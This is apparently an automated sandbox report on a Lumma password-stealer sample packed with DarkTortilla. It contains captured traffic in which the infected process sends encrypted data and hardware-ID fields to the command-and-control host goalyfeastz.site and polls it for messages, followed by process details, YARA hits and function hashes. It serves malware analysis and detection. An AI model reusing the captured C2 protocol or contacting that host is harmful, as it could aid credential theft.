2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 42 39 38 36 34 38 45 42 31 43 36 35 35 35 35 37 46 44 31 31 46 43 37 34 44 42 30 32 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 58 47 44 52 2d 2d 47 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"74B98648EB1C655557FD11FC74DB02FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"VXGDR--G3--
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: 0a 40 4b 00 fa 34 8c 86 bd f5 c1 51 b0 84 e7 0a 4b d6 9b 46 57 f3 5b 8e e1 59 8f 78 ac 2f 8a a8 d5 cd df 53 d1 37 85 c0 c3 1a fa 45 d0 5e c6 9b 3d ab 03 0c 46 19 bb 84 e4 c9 a9 b2 73 b5 22 0c 0a 84 79 c2 c9 4b 84 de 0e 68 4e 08 fb 9c 5a 85 82 33 1b e0 a5 31 31 03 de 6a 98 fa 03 73 af 05 eb 0c 7f cc b4 6e 3f 3c 25 d0 59 9a 8b 85 8d 96 6c f3 8a 77 a4 bc dc 46 dd 9c 9a 35 af 52 98 29 55 5e 0d 65 c4 e7 cc 33 86 93 30 c7 7a bd 9d 40 14 88 91 06 67 db 1b 73 f2 5a d1 9d 8f e1 2e e1 9f 7b c0 0b 6f 31 fa 7c 5b 24 eb a0 d2 42 d7 75 0a 16 be 2d 86 d3 77 d7 e3 26 71 33 83 56 dd 94 86 2f a8 78 8a ca 63 d7 2f 2b 68 a5 c1 82 e4 ee e3 ba fa 19 0f a9 f5 13 e8 86 cc 8c 68 73 6c cc 54 f9 04 32 33 1b 55 28 ca a3 23 f5 ae 0f 7f d2 93 da 93 d8 fe e9 e7 17 dc 0f d3 04 d9 06 e8 Data Ascii: @K4QKFW[Yx/S7E^=Fs"yKhNZ311jsn?<%YlwF5R)U^e30z@gsZ.{o1\|[$Bu-w&q3V/xc/+hhslT23U(#
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: fb 70 69 61 46 9b 62 ec 3d 71 a1 04 de 39 b2 5d 8d f2 67 ce d5 0f 53 2d 83 0b b8 14 6b 76 7a da 50 76 ab 59 10 7e 3a d2 18 9d 4c 4c ce b5 d0 d8 dc 0d 6a d4 d7 df be af 4e 5d 40 5e 93 06 ce a3 de 21 8d a6 be 42 22 a5 56 ac 54 98 58 b6 04 5f d3 1c 96 bb b8 a9 ed a7 4e d9 27 c0 2a c2 c7 d2 ef 90 93 4e b8 09 89 4b 75 7f 66 8a 2b 8d dd c0 c6 12 38 9c 4a bc 92 1c ae 7b 1b 71 d0 de d1 41 af 27 09 f9 55 ae 0f 3a 3f 4d 25 47 dc 3d ee 5f bd 45 e7 09 33 cc ac 2a ef 69 a9 bf ef 4e 52 6c 18 75 43 7c 55 7b e2 ed be ea bf 38 7d 1f 7a 35 d9 35 22 29 e1 f3 c3 d4 ce 55 f7 87 e1 44 54 ff 63 5a a0 d0 b9 f7 eb 95 5c d7 5f e5 7c d3 07 4f cd fc d3 f0 c9 f9 47 ff 51 dc 9c d1 b8 5a 3a 74 d5 79 6c 5f d9 46 0f b3 64 c0 2f e0 e3 70 e8 5b 6e 57 de e6 67 53 83 88 9b ce a5 21 97 9b 01 Data Ascii: piaFb=q9]gS-kvzPvY~:LLjN]@^!B"VTX_N'NKuf+8J{qA'U:?M%G=_E3iNRluC\|U{8}z55")UDTcZ\_\|OGQZ:tyl_Fd/p[nWgS!
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: 0e b9 af 5a ff dd da c2 bc 1d a2 e3 5b fb 25 6e 3c f1 56 af b9 6a bc c0 ae f1 5e c5 78 2e 28 95 2c 95 17 14 5e b3 a0 76 0d f4 5c 65 aa 50 ef 99 4e 6c 79 db 78 9f 55 fc f8 e4 cc 20 cc 3b 86 a4 6e d2 56 79 ab 84 2a bf bd 1f 9f e4 ce ae 1c e2 ba b1 7e 90 9d f2 57 e4 01 af 62 9d ed 6c 43 c4 63 ba 55 b9 7d a7 28 93 d8 f6 7e 48 64 b5 cb 27 c3 62 1d 46 a4 42 6c 4b b4 61 ee ad 08 ad 69 76 60 6f e0 18 c4 88 2c 40 53 7e c9 d2 64 f7 80 b2 3d 90 21 37 18 d7 cc d0 c1 c2 7d 6c 9a 03 28 a0 83 ec bf 09 9f 48 dc 53 35 2a 06 8a 10 28 08 f4 08 9c 2f e4 86 3e 5d 68 df dd c0 80 57 08 e1 c5 05 1a 09 e4 4f ca 79 a6 d8 cc fb fa 5a dc 79 97 8e 9d 85 a3 c7 5f d7 a9 e9 7b c0 74 2f c5 08 90 d3 11 71 a2 1b a6 a0 fb ac 30 eb 83 44 0b a2 fc 4b 30 0e b6 b1 56 7a 36 3c cc eb 58 73 2a a5 Data Ascii: Z[%n<Vj^x.(,^v\ePNlyxU ;nVy~WblCcU}(~Hd'bFBlKaiv`o,@S~d=!7}l(HS5(/>]hWOyZy_{t/q0DK0Vz6<Xs*
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: 9a f9 0a f8 6f 56 a4 1f 23 73 e3 0c 54 c0 d5 6c 04 49 9f 14 bd 19 fe 98 b8 74 aa cb a6 4d 81 44 d3 04 3a ae ac cf 3c a7 b8 f5 f4 41 5c ab 4d 5d 40 0f 36 eb 80 b4 cc ee 6e ff 96 14 b5 ad 4f cb e0 2f ee 56 c1 35 23 52 fb 9e cc 3c e3 09 e8 e1 57 72 95 3f b1 68 53 60 ea 52 d1 4a 4d 4d 85 8f d4 bb 7d 51 bc 76 17 60 5d 56 29 fe a7 c3 ef 0c 35 db b4 05 41 3b af 11 a9 be 5e d0 1f e2 4c 13 9f 2d fc e2 ce 9e 24 b4 f7 04 29 30 1b 9e 40 b2 83 f0 5d cc cc 08 23 70 8e f9 d5 d2 39 db 0f bb 08 f0 5b 4f 05 25 d7 f9 75 a0 33 55 d8 4e 7d 0f 2e 99 e6 b9 0b 72 70 11 db e1 9f 21 03 57 72 29 ca b3 13 0f 25 35 c3 35 54 2f 7a 0d ce 5a d5 78 a6 15 e0 1e d5 cc 8c f9 3d f7 89 1a 6b 02 73 83 09 e4 91 b1 fc 66 e2 ce e0 89 62 9c 9d c3 fb e5 2d 73 44 f5 c6 fd 4c e7 93 57 c6 d2 16 2e 0c Data Ascii: oV#sTlItMD:<A\M]@6nO/V5#R<Wr?hS`RJMM}Qv`]V)5A;^L-$)0@]#p9[O%u3UN}.rp!Wr)%55T/zZx=ksfb-sDLW.
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: 7e f5 7c 0f 28 e8 11 1e f2 d0 42 cc ed c9 ab fc a0 6b 8e db d6 46 6c fb 76 cf f6 04 20 f3 72 0c 01 6b 68 23 f8 b3 a5 53 d0 c7 70 f8 4c 03 e2 01 12 13 14 f0 18 9c cc 67 cd 3b 7f 1f 98 e4 b3 99 9d 25 bd fd 1a 35 d2 97 1b fe 66 bd a1 95 99 f2 71 af fc 21 95 e7 1f de fd 85 a4 2b f7 4f e2 ef 86 41 81 ff 8c 47 b6 61 81 8d e0 4e fa 5a 02 6c 62 68 a1 b8 30 dd 5f 86 5a 6c fc 03 ca 1d 4c e8 ba fa 00 04 4c 6f f1 d5 d0 2e f6 87 f9 74 1e 24 c9 28 73 67 78 4a cf e3 81 ff f2 a3 30 92 2a 0f cf 1b 7e bc 1d 77 c6 41 0c a6 ff 36 af 07 16 44 f1 9a 6e 4d 01 fe 8a 9e 37 e8 b6 9b 93 85 ad a2 65 00 da 7e 80 78 e7 34 13 2c 7c b1 d6 c6 78 10 c3 12 c1 d8 11 dd 4c 87 17 f7 a7 2d e3 5b c3 0c cc 8c 1c 8a e7 3e c9 de 30 d7 b0 87 45 f9 77 b1 6f 48 17 3c a5 80 2d 25 46 87 4f 5b 81 f0 60 Data Ascii: ~\|(BkFlv rkh#SpLg;%5fq!+OAGaNZlbh0_ZlLLo.t$(sgxJ0*~wA6DnM7e~x4,\|xL-[>0EwoH<-%FO[`
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: 53 59 72 a8 a8 14 aa 0a f0 2e d0 e0 0a f6 82 fa 50 78 43 45 39 43 d5 a8 b8 87 b8 99 87 24 82 70 65 ce 67 1e db 41 0a ef f2 ad 42 f5 79 1e ae e2 ed c4 e1 ea b4 e4 95 c4 50 f3 d4 28 db 00 da d2 8b 2e 49 1b 82 22 cd d6 5c 38 e6 69 d8 e2 25 57 a8 66 29 bb dd 09 a5 d7 3f ef ce 67 8a e3 9b 0b 9a e6 cf cd 6e 77 36 33 74 58 6a 36 c3 1b a2 b7 a6 ca 4d 5b d8 ef 5e 69 24 bc 92 af 3c f5 9b f5 a4 65 b3 c1 7f f8 20 a9 e3 97 1b 97 d3 5c 4a 48 ca 1c b7 4e 86 3e 30 5f 81 fe c5 2d f2 66 8f 14 3e d5 2b b5 31 bf 7f 14 e0 76 31 46 64 46 88 69 3c 1b b6 b3 97 c7 6a 06 de 95 ff 31 5e d8 d5 39 2a 8c 22 e9 03 3f 39 22 51 7a 63 b2 a5 10 24 78 18 e3 36 1e b2 3f f2 bf cc c5 60 4c f8 0a 39 8b 85 c2 db 5f 37 36 57 16 0b bb 84 dd 20 fa 71 fd 2f f1 9a ac 49 ae ab c1 e2 f8 f8 39 5a 09 4f Data Ascii: SYr.PxCE9C$pegAByP(.I"\8i%Wf)?gnw63tXj6M[^i$<e \JHN>0_-f>+1v1FdFi<j1^9*"?9"Qzc$x6?`L9_76W q/I9ZO
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: de d4 6c da 14 71 ac 5d f9 16 38 d5 8f 57 db 74 a1 3f 19 54 7d d3 74 b4 e4 db ba 89 79 e1 6a 38 15 77 ad e1 52 5a 06 7f 71 41 9d da b5 57 00 d4 ef 57 98 20 e9 4c d6 f2 66 d3 80 90 9c 30 98 51 53 99 da bb 93 af d4 64 1a 9d fe 16 bb ac 12 39 3a 10 6a cc 2a ae 08 02 58 ec 99 d7 42 93 66 46 a2 cb de ba 63 95 eb 79 88 fe 97 95 7d 39 de 36 dc ea 9f cf 34 ba 9b 37 31 ff 5b 62 21 1c 15 9e f2 1a d0 83 0f c7 b6 c5 7d e7 3c b3 d8 6b 14 7e b3 eb 3d 87 64 56 c6 e6 24 fe 4b 38 b4 63 37 73 e6 d9 8c d7 0d 88 52 b6 63 bb 4c 7f 4a d5 c1 27 a1 64 a3 77 80 e2 64 af 87 06 d2 08 1c f6 e4 4c 46 88 d0 55 ed f6 a1 6b fe b7 b0 ef cf 7b 76 12 e2 23 08 0c bd 3a 24 f9 72 8f 90 93 88 5e 79 13 ba 3f 50 88 b1 d7 ed b9 c5 d2 b7 db 13 57 0b 6e a7 b7 b7 1c f7 0a 56 48 b5 39 63 2b 8d 9d 97 Data Ascii: lq]8Wt?T}tyj8wRZqAWW Lf0QSd9:j*XBfFcy}96471[b!}<k~=dV$K8c7sRcLJ'dwdLFUk{v#:$r^y?PWnVH9c+
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: d7 be 7c 1c 52 3a cf b3 cc 63 bf c9 44 ca 9d 87 64 52 49 1d 2c 24 17 39 ff e5 36 5e 69 5c e8 75 0f e5 70 62 9c 35 b5 6b 48 9d e9 88 2d 24 ea 0d ad dc 23 b0 ff 59 cd 98 1e bf 5a e6 32 99 4c 8a 25 9b 8a a4 fb 37 f4 ca 27 19 00 b2 09 46 5e 71 8a 73 45 79 3a f0 7c 6e 87 a4 e8 21 75 f4 8c 63 7f 01 a5 bb 96 f7 fa 90 11 9d 1c c8 91 d8 7c be b7 5b c5 58 95 90 d2 98 a9 ec 8c 24 ee 79 10 25 bc 19 f6 82 d8 5d cb 9f 18 7d dc 81 d4 21 0d 61 4b 5e 7a 1c 40 78 e1 97 30 05 b9 18 18 5c a5 22 24 57 1b 7f bc b9 c9 7f 04 a2 ab 8f 33 5b c3 f4 ba 2a 8e f3 6a 51 40 78 eb 1a 73 04 8c e1 ba 05 41 c7 ca a3 ba 1f 8c d1 e6 7e 09 61 7c cd b2 2c ad 60 f7 dd 20 50 77 7e 3c 89 03 6d e7 dd 4d 1b 74 4f 75 36 06 77 ae e4 63 39 4c 95 3a 45 1d 52 c9 d0 fd 58 81 74 14 3a bb f5 bf 3c f1 27 1a Data Ascii: \|R:cDdRI,$96^i\upb5kH-$#YZ2L%7'F^qsEy:\|n!uc\|[X$y%]}!aK^z@x0\"$W3[*jQ@xsA~a\|,` Pw~<mMtOu6wc9L:ERXt:<'
2024-10-30 21:37:30 UTC	15331	OUT	Data Raw: eb a8 db e3 5a 40 d7 b3 bf f2 5a 0a 9c df e8 9c 53 bb e3 62 1d 1a fc a7 47 13 01 96 af 36 95 26 cc bd e0 a4 9c 56 8d fe b6 92 bf 87 70 12 3c 66 17 b9 ca dd 44 52 28 64 26 19 a6 08 f2 c2 f3 53 f2 dd 32 1a 35 89 20 5f 14 ff fb 8a f8 69 15 34 f8 60 f4 c4 97 b2 37 62 ab 20 77 44 c8 4a 8c bc 1a e0 58 ab ae d4 6e 72 86 cd 76 03 e9 b9 57 eb dd 75 e4 ba da 6c 75 9e 1d b0 ed 26 50 b3 10 14 39 fa 59 06 46 a3 4a a6 0b 2c 12 fb 3b 12 48 59 5b 65 19 53 59 15 c0 5b f5 4a d6 06 a3 ff 0e 5e 58 fa 28 49 6a 43 50 5c 14 10 2c 6f 59 98 1a 13 6c c4 45 ae 0c e9 7e 8a 7e d9 e0 7e ba d8 1b ca 76 f7 d1 52 f0 81 e9 9e 84 19 f9 62 41 e8 de 10 29 cc c1 f3 4f 5b 2b 4c e2 21 e2 8c 57 03 61 74 e9 55 65 f4 1e 82 71 53 6b 39 52 11 8a 6b 72 70 83 d5 ee ba 18 2e 61 97 c6 d6 86 22 4c eb 03 Data Ascii: Z@ZSbG6&Vp<fDR(d&S25 _i4`7b wDJXnrvWulu&P9YFJ,;HY[eSY[J^X(IjCP\,oYlE~~~vRbA)O[+L!WatUeqSk9Rkrp.a"L
2024-10-30 21:37:32 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tu04sr49ao4t3vqolc8vh5lect; expires=Sun, 23-Feb-2025 15:24:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=folgaiz0tOS%2FMBGko4Gfh9mbYVBf3yKu%2BjdAjjhHZm7X4VEADJydC018Nrab7VQfFCaAr15939GmIHlNMkcAjatVgff24ce9crS%2FuVaEuF2Fy4oo5pS%2FEr8b4T3IisHX8qE2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8c051d794790-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&sent=231&recv=628&lost=0&retrans=0&sent_bytes=2841&recv_bytes=576058&delivery_rate=1411306&cwnd=238&unsent_bytes=0&cid=ec86f48cd17ff219&ts=2311&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	62754	104.21.33.140	443	5668	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:37:33 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: goalyfeastz.site
2024-10-30 21:37:33 UTC	78	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 58 47 44 52 2d 2d 47 33 26 6a 3d 26 68 77 69 64 3d 37 34 42 39 38 36 34 38 45 42 31 43 36 35 35 35 35 37 46 44 31 31 46 43 37 34 44 42 30 32 46 46 Data Ascii: act=get_message&ver=4.0&lid=VXGDR--G3&j=&hwid=74B98648EB1C655557FD11FC74DB02FF
2024-10-30 21:37:33 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s1ih9gj8rnf8rhii65s9fhj6tq; expires=Sun, 23-Feb-2025 15:24:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fMJq5KDNCoerPsTF8eZMKKpbkwTUKpETMMYG%2BVhZxnkp2G%2BTAh2HERDJBr%2BKqWQ0K6WZlFzZszivsCt8kwWS2ayItjnUhF9mmaOlHYh2M3XwaIwgAyzUt%2Blcb57tXCDywDih"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae8c177c8c473e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1380&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=978&delivery_rate=2134119&cwnd=251&unsent_bytes=0&cid=3c9c5db15ca2ae03&ts=477&x=0"
2024-10-30 21:37:33 UTC	54	IN	Data Raw: 33 30 0d 0a 56 4e 4d 37 70 52 43 41 6e 62 4e 49 48 41 72 4c 6e 45 33 71 43 7a 69 71 52 56 34 48 34 68 79 53 2f 48 39 46 52 73 51 30 33 4d 77 50 6a 67 3d 3d 0d 0a Data Ascii: 30VNM7pRCAnbNIHArLnE3qCziqRV4H4hyS/H9FRsQ03MwPjg==
2024-10-30 21:37:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:36:05
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe"
Imagebase:	0xab0000
File size:	9'639'936 bytes
MD5 hash:	0B842F6524815B8064A51C651838CC73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2797210374.00000000055E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2792993477.0000000003ED6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2785718218.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:36:47
Start date:	30/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xf00000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	20.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.2%
Total number of Nodes:	186
Total number of Limit Nodes:	12

Executed Functions

Function 00A46910 Relevance: 12.1, Strings: 9, Instructions: 888COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00A4694E
(o]q, xrefs: 00A46E1F
(o]q, xrefs: 00A46AD2
(o]q, xrefs: 00A46A35
(o]q, xrefs: 00A46A09
,aq, xrefs: 00A46DC0
(o]q, xrefs: 00A46EE1
(o]q, xrefs: 00A46E2F
,aq, xrefs: 00A46DB0

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-99275883
Opcode ID: 644a2c0952d048b95fbbde938adf6b274cd7a6e40749e3e11f13aa64c6d255fd
Instruction ID: 2a39b13c42319ed901d8221632a61c56b7f8d06c6eb24562c43f2bee59b3da92
Opcode Fuzzy Hash: 644a2c0952d048b95fbbde938adf6b274cd7a6e40749e3e11f13aa64c6d255fd
Instruction Fuzzy Hash: BC828D38A04649DFCB15CF68C984AAEBBF6FF89310F258559E44ADB2A1C730ED41CB51

Function 060CE848 Relevance: 11.0, Strings: 8, Instructions: 972
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 060CEA15
Haq, xrefs: 060CF13B
Haq, xrefs: 060CECBA
Haq, xrefs: 060CEED8
Haq, xrefs: 060CED19
Haq, xrefs: 060CF0DC
Haq, xrefs: 060CF2FA
PH]q, xrefs: 060CE9E9

Memory Dump Source

Source File: 00000000.00000002.2798702372.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (aq$Haq$Haq$Haq$Haq$Haq$Haq$PH]q
API String ID: 0-1363861295
Opcode ID: 841c94e7d35a60fbd2a5372e30f6771de9b5dabf1b6079375e510a9095e570dd
Instruction ID: 27773a72762edd5cd969432e6e195e0f224f0750ca7db55901a4a591a2781885
Opcode Fuzzy Hash: 841c94e7d35a60fbd2a5372e30f6771de9b5dabf1b6079375e510a9095e570dd
Instruction Fuzzy Hash: 3C72D331B402148FCB98AB78C854B6E7BE6EFC8320F158569E41ADB3A5CE34DD46C791

Function 00A45BD0 Relevance: 8.4, Strings: 6, Instructions: 905COMMON

Download Yara Rule

Strings

,aq, xrefs: 00A464B8
,aq, xrefs: 00A464AA
(o]q, xrefs: 00A46440
(o]q, xrefs: 00A460FA
Haq, xrefs: 00A45FC6
(o]q, xrefs: 00A46432

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$,aq$,aq$Haq
API String ID: 0-387163720
Opcode ID: 8546106d14a9cc82a75e5240abb374405aa2abff6f6069d48843c6b3b53180bc
Instruction ID: 1bcfd1a49ccc62404e3202ddf7bd8ea7ad284bfab03310315ac549939fdc5f8b
Opcode Fuzzy Hash: 8546106d14a9cc82a75e5240abb374405aa2abff6f6069d48843c6b3b53180bc
Instruction Fuzzy Hash: 6B727F74A002199FCB14CFA9C984AAEBBF6BFC9300F158469E805EB3A5DB34DD45CB51

Function 08013E6E Relevance: 7.9, Strings: 4, Instructions: 2917
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 080172D4
@, xrefs: 080172E4
G, xrefs: 08013E88
;%k^, xrefs: 080154F4, 080154F9

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @$@$G$;%k^
API String ID: 0-2033092323
Opcode ID: daaf978d8c1bebdd06860765afa0cb5dc6daafa97c2f028941c3db68e76ebac6
Instruction ID: 42639c71d0bb433808101460695258a1e44335bb37d40bd8374ad0170ac661b6
Opcode Fuzzy Hash: daaf978d8c1bebdd06860765afa0cb5dc6daafa97c2f028941c3db68e76ebac6
Instruction Fuzzy Hash: 5F438AB0A142688BDB54FF78DC8865CBBB2EB89304F5088EDD448B3255DE386D85CF56

Function 07852385 Relevance: 5.5, Instructions: 5508
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a05919c1fa1b00076aeaf216796e39e6785e8d3de7feabb2ad6d5d6c850f0b5f
Instruction ID: 1f755314a52676eb37802bc14f0997149f8ed82906b0f31c8f48c32debcf7b9d
Opcode Fuzzy Hash: a05919c1fa1b00076aeaf216796e39e6785e8d3de7feabb2ad6d5d6c850f0b5f
Instruction Fuzzy Hash: 70B31870A11718CFDB58EF38D9996ACBBB2BB89305F0049EAD049A7350DB385D85CF46

Function 078523B0 Relevance: 5.5, Instructions: 5499
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4172b320f72322d55114f7b09418bf95ce3355d1dabfd3a91f755347cd61404c
Instruction ID: fa45668a9c8370f4b080011c9269147cbe47c0301eddcb50894a6a2c882d2708
Opcode Fuzzy Hash: 4172b320f72322d55114f7b09418bf95ce3355d1dabfd3a91f755347cd61404c
Instruction Fuzzy Hash: 6DB31870A11718CFDB58EF38D9996ACBBB2BB89305F0049EAD049A7354DB385D85CF42

Function 077B3118 Relevance: 5.2, Instructions: 5237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2799910451.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77b0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d287367591263d813900d5398d3098c92451749935098cc9385a62b561fe75
Instruction ID: 711cb6265b2a8ccb1b78452605506e362a76b474f4b626047920149cb590b1fa
Opcode Fuzzy Hash: 29d287367591263d813900d5398d3098c92451749935098cc9385a62b561fe75
Instruction Fuzzy Hash: BBB3F970A112298FDB54FF78D98966CBBF2BB89300F4089E9D448A7250DF345E95CF86

Function 080AB450 Relevance: 5.2, Strings: 4, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e\1, xrefs: 080AB53D
"*p, xrefs: 080AB588
"*p, xrefs: 080AB59F
e\1, xrefs: 080AB544

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: e\1$e\1$"*p$"*p
API String ID: 0-1513742261
Opcode ID: 1e0f4ea6cb9d1d677bb905e36a37a9a59261529977782dbc3435fcb4f641b941
Instruction ID: 5b24eb79c7adccfc09b1ccef7b1bffab942296489404c1c75eb93f2736a2e567
Opcode Fuzzy Hash: 1e0f4ea6cb9d1d677bb905e36a37a9a59261529977782dbc3435fcb4f641b941
Instruction Fuzzy Hash: DF81FFB0D012199FCB14CFE9D9546EEBBF2BF89351F20942AD416BB254DB345A02CF64

Function 00A42140 Relevance: 4.0, Strings: 3, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 00A42156
TJbq, xrefs: 00A42569
Xaq, xrefs: 00A4216F

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: TJbq$Xaq$$]q
API String ID: 0-22288264
Opcode ID: 5dc5ae32c676a4943a307b759c5384286d656d81dff42e7d441c42eb0ec53d37
